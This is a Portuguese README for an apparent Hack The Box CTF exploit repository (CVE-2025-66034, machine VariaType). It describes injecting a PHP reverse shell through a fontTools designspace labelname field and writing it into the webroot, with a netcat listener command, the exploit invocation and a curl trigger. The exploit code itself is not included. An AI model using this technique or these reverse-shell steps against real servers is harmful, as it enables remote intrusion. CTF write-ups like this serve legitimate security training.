CVE-2025-66034-htb-ctf

Exploit do Gerador de Fontes Variáveis VariaType

Este repositório contém um exploit especializado para a máquina VariaType do Hack The Box. O exploit aproveita uma vulnerabilidade na forma como a biblioteca fontTools ou a aplicação web lida com arquivos XML .designspace e interpolação de metadados para alcançar Execução Remota de Código (RCE).

📝 Descrição

A vulnerabilidade existe no processo de geração de fontes. Ao criar um arquivo designspace malicioso, podemos injetar um payload de reverse shell PHP nos metadados da fonte (especificamente no campo <labelname>). Quando o servidor processa esses arquivos para gerar uma fonte variável, ele escreve a saída em um caminho definido pelo usuário, permitindo que coloquemos um shell .php na webroot.

🛠️ Funcionalidades

• Geração Automatizada de Fontes: Cria fontes mestre source-light.ttf e source-regular.ttf válidas usando fontTools.
• Injeção de XML: Gera um arquivo designspace malicioso com um payload PHP encapsulado em CDATA.
• Path Traversal/Escrita Arbitrária de Arquivos: Tenta salvar a "fonte" resultante como um arquivo .php no diretório público.
• Randomização: Gera nomes de shell únicos para evitar conflitos.

🚀 Requisitos

Você deve ter Python 3 instalado juntamente com as seguintes bibliotecas:

pip install fontTools requests

💻 Uso

1. Inicie seu listener

Na sua máquina local (ou Pwnbox), inicie um listener Netcat:

nc -lvnp 4444

2. Execute o exploit

Execute o script fornecendo seu IP da VPN do HTB e a porta do listener:

python3 exploit.py --ip <YOUR_IP> --port 4444

3. Acione o shell

Se o upload retornar 200 OK (ou às vezes até 500 se o processamento ocorrer antes do erro), o script fornecerá o nome do arquivo. Acesse-o via curl ou seu navegador:

curl http://portal.variatype.htb/shell_xxxxxx.php

⚙️ Argumentos

⚠️ Aviso Legal

Este script é destinado apenas para fins educacionais e testes de penetração autorizados. Acessar ou atacar alvos sem autorização prévia é ilegal.

Como usar este README:

1. Salve o conteúdo acima como README.md na mesma pasta do seu script.
2. Certifique-se de que seu script esteja nomeado como exploit.py ou atualize o nome do arquivo nos comandos acima.